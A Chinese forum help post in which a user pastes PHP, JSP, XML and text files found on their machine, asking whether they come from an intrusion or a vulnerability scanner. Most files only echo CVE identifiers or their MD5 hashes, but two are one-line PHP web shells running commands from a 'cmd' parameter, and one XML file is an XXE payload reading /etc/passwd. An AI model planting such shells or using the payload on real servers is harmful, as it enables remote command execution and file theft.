[求助] 有无安全大佬，电脑突然出现奇怪的文件，里面显示一些 CVE-XXX 的信息，不知道是黑客入侵还是被扫洞程序扫到了

以下是所有的文件里面的内容：主要是PHP JSP文件

里面大部分内容都是在echo，提示有CVE漏洞。

我看比较严重的代码主要是和cmd相关的。这个应该意思是可以调用系统的终端然后执行某些程序？应该是如果这些php文件没有被执行就无大碍吧？

PHP文件

<?php echo md5('CVE-2022-25487');?>
<%
out.println("CVE-2022-26352");
%>
<?php echo md5('phpcollab_rce');?>
POC_TEST
<?php
$cmd=$_GET['cmd'];
system($cmd);
?>
  <?php
echo exec($_GET["cmd"]);
?>
<?php echo md5('CVE-2022-1952');?>
<?php

echo "File Upload success";
<?php echo 'CVE-2021-24236'; ?>

JSP文件

<%@ page import="java.util.*,java.io.*"%>
<%@ page import="java.security.MessageDigest"%>
<%
String cve = "CVE-2018-15961";
MessageDigest alg = MessageDigest.getInstance("MD5");
alg.reset();
alg.update(cve.getBytes());
byte[] digest = alg.digest();
StringBuffer hashedpasswd = new StringBuffer();
String hx;
for (int i=0;i<digest.length;i++){
  hx =  Integer.toHexString(0xFF & digest[i]);
  if(hx.length() == 1){hx = "0" + hx;}
  hashedpasswd.append(hx);
}
out.println(hashedpasswd.toString());
%>

<%@ page import="java.util.*,java.io.*"%>
<%@ page import="java.security.MessageDigest"%>

<%
String cve = "CVE-2018-2894";
MessageDigest alg = MessageDigest.getInstance("MD5");
alg.reset();
alg.update(cve.getBytes());
byte[] digest = alg.digest();
StringBuffer hashedpasswd = new StringBuffer();
String hx;
for (int i=0;i<digest.length;i++){
  hx =  Integer.toHexString(0xFF & digest[i]);
  //0x03 is equal to 0x3, but we need 0x03 for our md5sum
  if(hx.length() == 1){hx = "0" + hx;}
  hashedpasswd.append(hx);
}

out.println(hashedpasswd.toString());
%>

接着第一条附言没贴完的代码（字数限制）

XML文件

<?xml version='1.0' encoding='UTF-8'?>
    <ChartData>
      <Categories>
        <Category>ALttP</Category>
      </Categories>
      <Series label="2PXwFeEsfjzIPlN8BfkLn1ATkhX">
        <Point>
          <Value type="y">12345</Value>
        </Point>
      </Series>
    </ChartData>

<?xml version='1.0' encoding='UTF-8'?>
    <!DOCTYPE Extension [<!ENTITY xxe SYSTEM "/etc/passwd">]>
    <SAPChartCustomizing version="1.1">
      <Elements>
        <ChartElements>
          <Title>
            <Extension>&xxe;</Extension>
          </Title>
        </ChartElements>
      </Elements>
    </SAPChartCustomizing>

文本文件

MyPasswdNewData->/api/tomcat
POC_TEST
CVE-2020-12800-2PXwFlCcbD1a74LOgwnlRWVnJzD